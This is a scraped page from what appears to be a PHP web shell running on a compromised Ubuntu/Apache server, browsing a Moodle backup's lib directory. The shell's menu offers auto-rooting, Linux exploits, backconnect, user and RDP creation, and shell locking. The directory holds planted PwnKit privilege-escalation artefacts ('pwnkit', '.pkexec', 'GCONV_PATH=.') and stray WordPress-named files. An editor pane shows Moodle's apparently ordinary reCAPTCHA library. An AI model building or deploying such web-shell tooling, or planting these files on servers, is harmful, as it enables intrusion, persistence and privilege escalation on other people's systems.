Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
adodb
[ DIR ]
drwxrwxr-x
ajax
[ DIR ]
drwxrwxr-x
amd
[ DIR ]
drwxrwxr-x
antivirus
[ DIR ]
drwxrwxr-x
behat
[ DIR ]
drwxrwxr-x
bennu
[ DIR ]
drwxrwxr-x
classes
[ DIR ]
drwxrwxr-x
db
[ DIR ]
drwxrwxr-x
ddl
[ DIR ]
drwxrwxr-x
dml
[ DIR ]
drwxrwxr-x
dtl
[ DIR ]
drwxrwxr-x
editor
[ DIR ]
drwxrwxr-x
evalmath
[ DIR ]
drwxrwxr-x
external
[ DIR ]
drwxrwxr-x
filebrowser
[ DIR ]
drwxrwxr-x
filestorage
[ DIR ]
drwxrwxr-x
fonts
[ DIR ]
drwxrwxr-x
form
[ DIR ]
drwxrwxr-x
geopattern-php
[ DIR ]
drwxrwxr-x
google
[ DIR ]
drwxrwxr-x
grade
[ DIR ]
drwxrwxr-x
horde
[ DIR ]
drwxrwxr-x
html2text
[ DIR ]
drwxrwxr-x
htmlpurifier
[ DIR ]
drwxrwxr-x
jabber
[ DIR ]
drwxrwxr-x
jquery
[ DIR ]
drwxrwxr-x
lessphp
[ DIR ]
drwxrwxr-x
ltiprovider
[ DIR ]
drwxrwxr-x
markdown
[ DIR ]
drwxrwxr-x
maxmind
[ DIR ]
drwxrwxr-x
minify
[ DIR ]
drwxrwxr-x
mlbackend
[ DIR ]
drwxrwxr-x
mustache
[ DIR ]
drwxrwxr-x
password_compat
[ DIR ]
drwxrwxr-x
pear
[ DIR ]
drwxrwxr-x
php-css-parser
[ DIR ]
drwxrwxr-x
phpexcel
[ DIR ]
drwxrwxr-x
phpmailer
[ DIR ]
drwxrwxr-x
phpunit
[ DIR ]
drwxrwxr-x
portfolio
[ DIR ]
drwxrwxr-x
requirejs
[ DIR ]
drwxrwxr-x
rtlcss
[ DIR ]
drwxrwxr-x
scssphp
[ DIR ]
drwxrwxr-x
simplepie
[ DIR ]
drwxrwxr-x
spout
[ DIR ]
drwxrwxr-x
tcpdf
[ DIR ]
drwxrwxr-x
templates
[ DIR ]
drwxrwxr-x
testing
[ DIR ]
drwxrwxr-x
tests
[ DIR ]
drwxrwxr-x
typo3
[ DIR ]
drwxrwxr-x
userkey
[ DIR ]
drwxrwxr-x
xhprof
[ DIR ]
drwxrwxr-x
xmldb
[ DIR ]
drwxrwxr-x
yui
[ DIR ]
drwxrwxr-x
yuilib
[ DIR ]
drwxrwxr-x
.htaccess
197
B
-r--r--r--
.mad-root
0
B
-rw-r--r--
accesslib.php
253.74
KB
-rw-rw-r--
adminlib.php
357.63
KB
-rw-rw-r--
authlib.php
37.75
KB
-rw-rw-r--
badgeslib.php
43.38
KB
-rw-rw-r--
blocklib.php
99.15
KB
-rw-rw-r--
boxlib.php
8.08
KB
-rw-rw-r--
cacert.pem
239.21
KB
-rw-rw-r--
cacert.txt
811
B
-rw-rw-r--
clilib.php
6.62
KB
-rw-rw-r--
completionlib.php
49.37
KB
-rw-rw-r--
componentlib.class.php
29.2
KB
-rw-rw-r--
conditionlib.php
1.11
KB
-rw-rw-r--
configonlylib.php
6.48
KB
-rw-rw-r--
cookies.js
2.37
KB
-rw-rw-r--
coursecatlib.php
128.07
KB
-rw-rw-r--
cronlib.php
16.59
KB
-rw-rw-r--
csslib.php
15.14
KB
-rw-rw-r--
csvlib.class.php
17.25
KB
-rw-rw-r--
customcheckslib.php
1.5
KB
-rw-rw-r--
dataformatlib.php
3.35
KB
-rw-rw-r--
datalib.php
66.63
KB
-rw-rw-r--
ddllib.php
4.71
KB
-rw-rw-r--
default.ttf
502.23
KB
-rw-rw-r--
deprecatedlib.php
227.46
KB
-rw-rw-r--
dmllib.php
12.2
KB
-rw-rw-r--
dtllib.php
2.58
KB
-rw-rw-r--
editorlib.php
6.43
KB
-rw-rw-r--
emptyfile.php
809
B
-rw-rw-r--
enrollib.php
111.94
KB
-rw-rw-r--
environmentlib.php
55.94
KB
-rw-rw-r--
eventslib.php
4.58
KB
-rw-rw-r--
excellib.class.php
29.19
KB
-rw-rw-r--
externallib.php
56.46
KB
-rw-rw-r--
filelib.php
183.98
KB
-rw-rw-r--
filterlib.php
56.46
KB
-rw-rw-r--
flickrclient.php
9.25
KB
-rw-rw-r--
flickrlib.php
52.08
KB
-rw-rw-r--
formslib.php
134.17
KB
-rw-rw-r--
gdlib.php
16.96
KB
-rw-rw-r--
googleapi.php
16.83
KB
-rw-rw-r--
gradelib.php
61.29
KB
-rw-rw-r--
graphlib.php
83.1
KB
-rw-rw-r--
grouplib.php
46.05
KB
-rw-rw-r--
index.html
1
B
-rw-rw-r--
installlib.php
18.09
KB
-rw-rw-r--
javascript-static.js
42.63
KB
-rw-rw-r--
javascript.php
4.09
KB
-rw-rw-r--
jslib.php
4.21
KB
-rw-rw-r--
ldaplib.php
18.23
KB
-rw-rw-r--
lexer.php
16.07
KB
-rw-rw-r--
licenselib.php
7.25
KB
-rw-rw-r--
listlib.php
22.53
KB
-rw-rw-r--
mathslib.php
4.58
KB
-rw-rw-r--
medialib.php
5.4
KB
-rw-rw-r--
messagelib.php
27.51
KB
-rw-rw-r--
modinfolib.php
109.05
KB
-rw-rw-r--
moodlelib.php
354.11
KB
-rw-rw-r--
myprofilelib.php
20.47
KB
-rw-rw-r--
navigationlib.php
241.36
KB
-rw-rw-r--
oauthlib.php
23.98
KB
-rw-rw-r--
odslib.class.php
57.36
KB
-rw-rw-r--
outputactions.php
7.11
KB
-rw-rw-r--
outputcomponents.php
157.31
KB
-rw-rw-r--
outputfactories.php
18.11
KB
-rw-rw-r--
outputfragmentrequirementslib....
4.17
KB
-rw-rw-r--
outputlib.php
97.12
KB
-rw-rw-r--
outputrenderers.php
197.52
KB
-rw-rw-r--
outputrequirementslib.php
82.77
KB
-rw-rw-r--
pagelib.php
76.52
KB
-rw-rw-r--
pdflib.php
9.23
KB
-rw-rw-r--
phpminimumversionlib.php
3.08
KB
-rw-rw-r--
plagiarismlib.php
6.9
KB
-rw-rw-r--
portfoliolib.php
54.45
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
questionlib.php
82.21
KB
-rw-rw-r--
recaptchalib.php
12.38
KB
-rw-rw-r--
recaptchalib_v2.php
6.38
KB
-rw-rw-r--
requirejs.php
5.55
KB
-rw-rw-r--
resourcelib.php
8.91
KB
-rw-rw-r--
rsslib.php
17.84
KB
-rw-rw-r--
searchlib.php
17.95
KB
-rw-rw-r--
sessionkeepalive_ajax.php
1.21
KB
-rw-rw-r--
sessionlib.php
6.97
KB
-rw-rw-r--
setup.php
39.72
KB
-rw-rw-r--
setuplib.php
73.96
KB
-rw-rw-r--
soaplib.php
5.23
KB
-rw-rw-r--
statslib.php
67.45
KB
-rw-rw-r--
tablelib.php
61.62
KB
-rw-rw-r--
thirdpartylibs.xml
8.6
KB
-rw-rw-r--
tokeniserlib.php
16.48
KB
-rw-rw-r--
upgrade.txt
76.56
KB
-rw-rw-r--
upgradelib.php
100.84
KB
-rw-rw-r--
uploadlib.php
1.9
KB
-rw-rw-r--
validateurlsyntax.php
23.05
KB
-rw-rw-r--
webdavlib.php
68.75
KB
-rw-rw-r--
weblib.php
119.86
KB
-rw-rw-r--
wiki_to_markdown.php
13.12
KB
-rw-rw-r--
womenslib.php
1021
B
-rw-rw-r--
wordlist.txt
1.23
KB
-rw-rw-r--
wp-blog-header.php
2.74
KB
-r--r--r--
wp-cron.php
2.74
KB
-rw-r--r--
xhtml.xsl
223
B
-rw-rw-r--
xmlize.php
8.85
KB
-rw-rw-r--
xsendfilelib.php
2.59
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : recaptchalib.php
<?php /** * This is a PHP library that handles calling reCAPTCHA. * - Documentation and latest version * {@link http://code.google.com/apis/recaptcha/docs/php.html} * - Get a reCAPTCHA API Key * {@link https://www.google.com/recaptcha/admin/create} * - Discussion group * {@link http://groups.google.com/group/recaptcha} * * Copyright (c) 2007 reCAPTCHA -- {@link http://www.google.com/recaptcha} * AUTHORS: * Mike Crawford * Ben Maurer * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package moodlecore * @copyright (c) 2007 reCAPTCHA -- {@link http://www.google.com/recaptcha} */ /** * The reCAPTCHA server URL's */ define("RECAPTCHA_API_SERVER", "http://www.google.com/recaptcha/api"); define("RECAPTCHA_API_SECURE_SERVER", "https://www.google.com/recaptcha/api"); define("RECAPTCHA_VERIFY_SERVER", "www.google.com"); /** * Encodes the given data into a query string format * @param $data - array of string elements to be encoded * @return string - encoded request */ function _recaptcha_qsencode ($data) { $req = ""; foreach ( $data as $key => $value ) $req .= $key . '=' . urlencode( $value ) . '&'; // Cut the last '&' $req=substr($req,0,strlen($req)-1); return $req; } /** * Submits an HTTP POST to a reCAPTCHA server * * @global object * @param string $host * @param string $path * @param array $data * @param int port * @return array response */ function _recaptcha_http_post($host, $path, $data, $port = 80, $https=false) { global $CFG; $protocol = 'http'; if ($https) { $protocol = 'https'; } require_once $CFG->libdir . '/filelib.php'; $req = _recaptcha_qsencode ($data); $headers = array(); $headers['Host'] = $host; $headers['Content-Type'] = 'application/x-www-form-urlencoded'; $headers['Content-Length'] = strlen($req); $headers['User-Agent'] = 'reCAPTCHA/PHP'; $results = download_file_content("$protocol://" . $host . $path, $headers, $data, false, 300, 20, true); if ($results) { return array(1 => $results); } else { return false; } } /** * Return the recaptcha challenge and image and javascript urls * * @param string $server server url * @param string $pubkey public key * @param string $errorpart error part to append * @return array the challenge hash, image and javascript url * @since Moodle 3.2 */ function recaptcha_get_challenge_hash_and_urls($server, $pubkey, $errorpart = '') { global $CFG; require_once($CFG->libdir . '/filelib.php'); $html = download_file_content($server . '/noscript?k=' . $pubkey . $errorpart, null, null, false, 300, 20, true); preg_match('/image\?c\=([A-Za-z0-9\-\_]*)\"/', $html, $matches); $challengehash = $matches[1]; $imageurl = $server . '/image?c=' . $challengehash; $jsurl = $server . '/challenge?k=' . $pubkey . $errorpart; return array($challengehash, $imageurl, $jsurl); } /** * Gets the challenge HTML (javascript and non-javascript version). * This is called from the browser, and the resulting reCAPTCHA HTML widget * is embedded within the HTML form it was called from. * * @global object * @param string $pubkey A public key for reCAPTCHA * @param string $error The error given by reCAPTCHA (optional, default is null) * @param boolean $use_ssl Should the request be made over ssl? (optional, default is false) * @return string - The HTML to be embedded in the user's form. */ function recaptcha_get_html ($pubkey, $error = null, $use_ssl = false) { global $PAGE; $recaptchatype = optional_param('recaptcha', 'image', PARAM_TEXT); if ($pubkey == null || $pubkey == '') { die ("To use reCAPTCHA you must get an API key from <a href='https://www.google.com/recaptcha/admin/create'>https://www.google.com/recaptcha/admin/create</a>"); } if ($use_ssl) { $server = RECAPTCHA_API_SECURE_SERVER; } else { $server = RECAPTCHA_API_SERVER; } $errorpart = ""; if ($error) { $errorpart = "&error=" . $error; } list($challengehash, $imageurl, $jsurl) = recaptcha_get_challenge_hash_and_urls($server, $pubkey, $errorpart); $strincorrectpleasetryagain = get_string('incorrectpleasetryagain', 'auth'); $strenterthewordsabove = get_string('enterthewordsabove', 'auth'); $strenterthenumbersyouhear = get_string('enterthenumbersyouhear', 'auth'); $strgetanothercaptcha = get_string('getanothercaptcha', 'auth'); $strgetanaudiocaptcha = get_string('getanaudiocaptcha', 'auth'); $strgetanimagecaptcha = get_string('getanimagecaptcha', 'auth'); $return = html_writer::script('', $jsurl); $return .= '<noscript> <div id="recaptcha_widget_noscript"> <div id="recaptcha_image_noscript"><img src="' . $imageurl . '" alt="reCAPTCHA"/></div>'; if ($error == 'incorrect-captcha-sol') { $return .= '<div class="recaptcha_only_if_incorrect_sol" style="color:red">' . $strincorrectpleasetryagain . '</div>'; } if ($recaptchatype == 'image') { $return .= '<span class="recaptcha_only_if_image">' . $strenterthewordsabove . '</span>'; } elseif ($recaptchatype == 'audio') { $return .= '<span class="recaptcha_only_if_audio">' . $strenterthenumbersyouhear . '</span>'; } $return .= '<input type="text" id="recaptcha_response_field_noscript" name="recaptcha_response_field" />'; $return .= '<input type="hidden" id="recaptcha_challenge_field_noscript" name="recaptcha_challenge_field" value="' . $challengehash . '" />'; $return .= '<div><a href="signup.php">' . $strgetanothercaptcha . '</a></div>'; // Disabling audio recaptchas for now: not language-independent /* if ($recaptchatype == 'image') { $return .= '<div class="recaptcha_only_if_image"><a href="signup.php?recaptcha=audio">' . $strgetanaudiocaptcha . '</a></div>'; } elseif ($recaptchatype == 'audio') { $return .= '<div class="recaptcha_only_if_audio"><a href="signup.php?recaptcha=image">' . $strgetanimagecaptcha . '</a></div>'; } */ $return .= ' </div> </noscript>'; return $return; } /** * A ReCaptchaResponse is returned from recaptcha_check_answer() * * @package moodlecore * @copyright (c) 2007 reCAPTCHA -- {@link http://www.google.com/recaptcha} */ class ReCaptchaResponse { var $is_valid; var $error; } /** * Calls an HTTP POST function to verify if the user's guess was correct * @param string $privkey * @param string $remoteip * @param string $challenge * @param string $response * @return ReCaptchaResponse */ function recaptcha_check_answer ($privkey, $remoteip, $challenge, $response, $https=false) { if ($privkey == null || $privkey == '') { die ("To use reCAPTCHA you must get an API key from <a href='https://www.google.com/recaptcha/admin/create'>https://www.google.com/recaptcha/admin/create</a>"); } if ($remoteip == null || $remoteip == '') { die ("For security reasons, you must pass the remote ip to reCAPTCHA"); } //discard spam submissions if ($challenge == null || strlen($challenge) == 0 || $response == null || strlen($response) == 0) { $recaptcha_response = new ReCaptchaResponse(); $recaptcha_response->is_valid = false; $recaptcha_response->error = 'incorrect-captcha-sol'; return $recaptcha_response; } $response = _recaptcha_http_post(RECAPTCHA_VERIFY_SERVER, "/recaptcha/api/verify", array ( 'privatekey' => $privkey, 'remoteip' => $remoteip, 'challenge' => $challenge, 'response' => $response ), $https ); $answers = explode ("\n", $response [1]); $recaptcha_response = new ReCaptchaResponse(); if (trim ($answers [0]) == 'true') { $recaptcha_response->is_valid = true; } else { $recaptcha_response->is_valid = false; $recaptcha_response->error = $answers [1]; } return $recaptcha_response; } /** * gets a URL where the user can sign up for reCAPTCHA. If your application * has a configuration page where you enter a key, you should provide a link * using this function. * @param string $domain The domain where the page is hosted * @param string $appname The name of your application */ function recaptcha_get_signup_url ($domain = null, $appname = null) { return "https://www.google.com/recaptcha/admin/create?" . _recaptcha_qsencode (array ('domains' => $domain, 'app' => $appname)); } function _recaptcha_aes_pad($val) { $block_size = 16; $numpad = $block_size - (strlen ($val) % $block_size); return str_pad($val, strlen ($val) + $numpad, chr($numpad)); } /* Mailhide related code */ function _recaptcha_aes_encrypt($val,$ky) { if (! function_exists ("mcrypt_encrypt")) { die ("To use reCAPTCHA Mailhide, you need to have the mcrypt php module installed."); } $mode=MCRYPT_MODE_CBC; $enc=MCRYPT_RIJNDAEL_128; $val=_recaptcha_aes_pad($val); return mcrypt_encrypt($enc, $ky, $val, $mode, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"); } function _recaptcha_mailhide_urlbase64 ($x) { return strtr(base64_encode ($x), '+/', '-_'); } /* gets the reCAPTCHA Mailhide url for a given email, public key and private key */ function recaptcha_mailhide_url($pubkey, $privkey, $email) { if ($pubkey == '' || $pubkey == null || $privkey == "" || $privkey == null) { die ("To use reCAPTCHA Mailhide, you have to sign up for a public and private key, " . "you can do so at <a href='http://www.google.com/recaptcha/mailhide/apikey'>http://www.google.com/recaptcha/mailhide/apikey</a>"); } $ky = pack('H*', $privkey); $cryptmail = _recaptcha_aes_encrypt ($email, $ky); return "http://www.google.com/recaptcha/mailhide/d?k=" . $pubkey . "&c=" . _recaptcha_mailhide_urlbase64 ($cryptmail); } /** * gets the parts of the email to expose to the user. * eg, given johndoe@example,com return ["john", "example.com"]. * the email is then displayed as john...@example.com */ function _recaptcha_mailhide_email_parts ($email) { $arr = preg_split("/@/", $email ); if (strlen ($arr[0]) <= 4) { $arr[0] = substr ($arr[0], 0, 1); } else if (strlen ($arr[0]) <= 6) { $arr[0] = substr ($arr[0], 0, 3); } else { $arr[0] = substr ($arr[0], 0, 4); } return $arr; } /** * Gets html to display an email address given a public an private key. * to get a key, go to: * * http://www.google.com/recaptcha/mailhide/apikey */ function recaptcha_mailhide_html($pubkey, $privkey, $email) { $emailparts = _recaptcha_mailhide_email_parts ($email); $url = recaptcha_mailhide_url ($pubkey, $privkey, $email); return htmlentities($emailparts[0]) . "<a href='" . htmlentities ($url) . "' onclick=\"window.open('" . htmlentities ($url) . "', '', 'toolbar=0,scrollbars=0,location=0,statusbar=0,menubar=0,resizable=0,width=500,height=300'); return false;\" title=\"Reveal this e-mail address\">...</a>@" . htmlentities ($emailparts [1]); }
Close